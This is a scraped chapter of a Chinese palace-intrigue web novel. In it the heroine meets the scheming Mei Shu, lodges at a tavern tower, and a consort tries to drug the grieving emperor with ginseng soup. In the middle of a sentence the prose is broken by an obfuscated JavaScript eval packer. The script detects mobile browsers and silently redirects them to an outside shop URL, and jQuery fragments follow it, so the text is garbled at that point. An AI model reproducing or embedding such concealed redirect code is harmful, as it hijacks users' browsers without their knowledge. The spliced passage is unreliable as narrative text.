默认冷灰
24号文字
方正启体

31. 第三十一章 参商

作者:何意栖本书字数:K更新时间:
    沿街处传来一道清冷的男声,韩昭苏撑着马背坐直,向一旁笑的温和的男人看过去。


    她先是一愣,随即赶忙摆手道:“不必……不必了。”


    不知何时,裴兰昭已经走到那个男子的身边,毫不客气地伸手将那只递钱的手碰开,自己递了二两银子给那老伯。


    做完这些,裴兰昭仍是紧皱着眉,丝毫没给眼前人好脸色,“梅楼主,少了我这单生意,您都有闲来江都了?”


    韩昭苏暗自审度着两人之间的气氛,又转头看了看那个男人,即使被裴兰昭不客气的暗讽,他还是维持着表面上的体面。


    眼前的人一袭天青大袖宽衫,头发半绾半散,腰间配着一块蓝田白玉扣,倒像是从魏晋时候来的飘逸放荡的名士。


    被他那双微扬的凤目盯着,韩昭苏心底有些惴惴不安。


    这位梅楼主通身都是一股不紧不慢的闲散气度,连裴兰昭这样倨傲的人都称您,想必是个出身不凡的名人。


    “是不忙。”梅殊含笑回了裴兰昭的话,却还是目不转睛地看着马上的韩昭苏。


    裴兰昭就算再愚钝也能觉察到这股不怀好意的目光,伸出臂膀拦在他和韩昭苏之间,颇为强势。


    梅殊这个人和他父亲宽和待人的性格不同,虽然长着一张与人为善的脸,但背地里算是阴到骨子里了。


    裴兰昭只与他打过几次交道,私交甚少,却凭着他琢磨人心的伎俩,也将梅殊是个什么样的人摸得门清。


    梅殊这个人算无遗策,智近乎妖。并且是个寡情薄义之人,用计狠毒,不择手段。


    如果说他自己是嗜血如魔的凶神,刀下不留人。那么梅殊则是冷心如蛇的恶鬼,杀人于无形。


    因此凡与渡迷津做交易无有不成的,无有人不叫好。渐渐地,大虞之中人人都知道有个叫渡迷津的解忧处,甚至于在四大凉国中也有所耳闻。


    “对不住,我们还有要事在身,不便多陪。”


    裴兰昭手上紧了紧红马的缰绳,眼眸中透着厌烦之色,恨不能即刻离开梅殊,离得越远越好。


    韩昭苏虽不知这二人有何过节,但她自己却不能得罪这位梅楼主。


    有句话说风水轮流转,若是日后裴兰昭败落,亦或他弃用自己,说不准梅楼主还能帮一帮自己。


    故此韩昭苏在被裴兰昭拉走前,对着站在原地的梅殊弯起唇角,露出一个腼腆的笑。


    梅殊向她侧目,远远看着马上乖顺的少女,发髻上的彩带飘扬,明媚可亲,他只得回以一个淡得看不出的笑。


    两匹马渐行渐远,直到隐没在闹市的人海中,他才堪堪回过头,垮下脸来,换上一张薄情的神色。


    先前他送予裴兰昭的阴叶毒,原是用在了这个女娃身上。


    蜀地的阴毒虫和腐叶因地候缘故,与别地气味略有不同,这味道他一闻便知。


    也不知是何缘故,这次韩昭苏骑马倒是比方才好了许多,虽一路上免不了磕磕绊绊,但总算是安然到了白矾楼。


    韩昭苏将手中缰绳交给店家小二,对着走在前面的裴兰昭道:“奇了怪了,你说我这一路骑的还挺顺。”


    裴兰昭头也不回,直直说道:“因为方才有个人克你,离他远了,他便克不着你了。”


    他就差直说那个人是梅楼主了。


    一想到这世上还有个人,能让从来只动刀剑的裴兰昭在嘴上挤兑,她便不自己地乐呵起来。


    韩昭苏跟着裴兰昭进了白矾楼里,嘴上连连赞叹,左一扭头右一扭头,仿佛要将楼里每一处繁华都刻进眼里。


    不过今儿似乎冷清许多,三两客人独自喝酒,大约是没有歌舞奏乐,因而人人觉得没了意思。


    白矾楼统共有五层,一楼和二楼都是散客喝酒赏乐听曲儿的地方,三楼和四楼是给客人预备的厢房,五楼则是楼主及其亲故才能入内的地方,闲杂人等一概不让进。


    裴兰昭交代完这些便将韩昭苏带至三楼,领到她的厢房前,那扇木门上挂着天字三号房的木牌。


    他没有推门,只是站在门外对她说,“商队还要三日出发,你先住下,里面东西很齐全,我每日会来看你一次。”


    韩昭苏如是点点头,随口问道,“那你住在哪里?”


    裴兰昭神情自若,将房门推开,“五楼。”


    韩昭苏依旧点了点头,旋即走进那间厢房,她的手搭在房门上,试探性地一点点关上,将两人隔绝开。


    门外的身影仍在,脚步声也没有听到,而是裴兰昭再度开口,“不准乱跑。”


    “知道。”


    “还有,若是你再看见梅殊,记得躲着他走,他不是什么好人。”


    韩昭苏轻轻嗯了一声,门外才传来一阵由近及远的脚步声。


    裴兰昭总是阴一阵晴一阵的,高兴的时候还能对你笑,不高兴了就乱咬人。


    别说梅殊不是什么好人,难道他裴兰昭就是好人了?


    想过这些,韩昭苏环视了一圈厢房,布局雅致得体,门窗床榻小几都是红木做的,被衾窗幔也都是绫罗绸布,比起承乾宫的偏殿不相上下。


    一想到承乾宫……


    韩昭苏脑中又想起宫里的那些人,梦鱼婉妃乔贵妃,死去的解玉,还有一草一木,一砖一瓦,廊下的飞鸟,庭中的茉莉花……


    还有他,裴归鸿。


    在皇宫的日子就像一场梦,如今天光大亮,她醒了。


    虽然兜兜转转,自己还是孑然一身,但说不准她天生就是天煞孤星的命。


    从前种种,譬如昨日死。从后种种,譬如今日生。


    不管了,天大地大,都别管自己怎么活。


    想着想着,韩昭苏心中顿时松快不少,奔波多日的疲倦后知后觉涌上来,竟直接躺在地上的毯子上睡着了。


    ……


    紫禁城并不会因为一位妃子病故而有所涟漪。


    它见证一切,却永远宁静,永远肃穆,不以物喜,不以己悲。


    只是人人都知道,皇帝钟爱的淑妃一夜之间,离奇病故。


    他们细数发生在这位淑妃身上的事,桩桩件件都透着古怪。


    出身乡野,蠢笨得一窍不通,一度失宠,却又能不知不觉间握住帝王的心,险些要登上皇后之位,却死在册封礼之前。


    说起她,有人惋惜,有人艳羡,有人咒骂,有人拍手称快。


    但更多是的是沦为宫人内侍的闲谈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381139|200183||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他们不约而同地感慨,或许这就叫红颜薄命。


    史官轻轻一笔带过。


    熙宁元年秋,淑妃韩氏薨。追谥孝淑昭皇后,葬于金山。


    对于裴归鸿追封韩昭苏为皇后,众大臣是颇为不满的。


    生的皇后还没有,就先弄个死了的皇后,这还不如当初遂了裴归鸿的愿,早点立淑妃为后,即便她后来还是死了,那也是死在后位上。


    用老百姓的话讲,真是晦气。


    好在皇帝似乎并未因此消沉,只是依礼辍朝三日,便一头扎进了朝堂事务,一切如常。


    没了韩昭苏这个挡在后位前的阻力,某些人的心思又活络起来。


    周平依旧候在暖阁外,这几日他伺候在跟前,看裴归鸿并无哀痛之色,甚至比以往还要冷静持重几分,总觉得淑妃这事远没有表面简单。


    “周公公。”养心殿门前缓缓走来一个人,正是许久不见的容潇潇,跟在一旁的春乔提着食盒。


    周平躬着身子,含笑问道:“容娘娘这是给陛下送东西来了?”


    容潇潇也带着笑意回道:“是啊,我看陛下这几日忙于政事,久不来后宫,想是劳神烦忧,特意做了参汤送来。”


    参汤补身子是实话,但她的目的并非只为了这个。


    肃州一战,让荣怀远丢了官,只能灰溜溜地滚回原籍养老,也让她没了家族的倚仗。


    那些平日还与她热络闲聊,亲如姐妹的妃嫔见她式微,一个二个都躲着不见她。


    若她还要在宫中站稳脚跟,便只能自己为自己博一个出路。


    这参汤中她掺了一点能使人情难自禁、意乱情迷的药。


    实乃是无奈之举,若非想到她母亲和自己日后的处境,她是断然不会用这种下三滥的手段的。


    周平进去先行通传一声,不一会儿便对着门外的容潇潇道:“娘娘,请吧。”


    暖阁的门被她轻轻推开,映入眼帘正是裴归鸿,他身披雪白,着月白龙袍,如松风明月。


    他鲜少穿这样素净的衣裳,即便她跟着裴归鸿从王府到皇宫,也未曾见过。


    裴归鸿这般,或许是为了那个人。想到这里,她一时愣在原地,裴归鸿似是觉察到她的怔神,忽而开口道:“你有何事?”


    他脸上写满了不近人情和冷漠疏离,每个字都像是在给她下逐客令。


    “嫔妾……给您做了参汤……”容潇潇支吾着走到他跟前,将食盒中的那碗汤端出来。


    她动作极缓极轻,生怕一个不留心惹怒了他,低垂着头察言观色。


    裴归鸿凝视着那碗黄澄澄的汤,沉默须臾,忽而转向边上的容潇潇。


    他出乎意料地笑了一声,对着她说道,“爱妃真是辛苦,为朕忧劳。”


    这话本是好意,容潇潇却觉得寒意遍体,“不辛苦的……”


    裴归鸿端起这碗汤,将欲送到嘴边,容潇潇心一瞬被提起,砰砰狂跳。


    一眨眼,容潇潇看见这碗汤在裴归鸿嘴边停留片刻,转而被他送到自己跟前。


    “陛下……您这是什么意思?”容潇潇勉强维持着笑意。


    裴归鸿一笑,“朕只是觉得,爱妃比朕更需要这碗汤。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)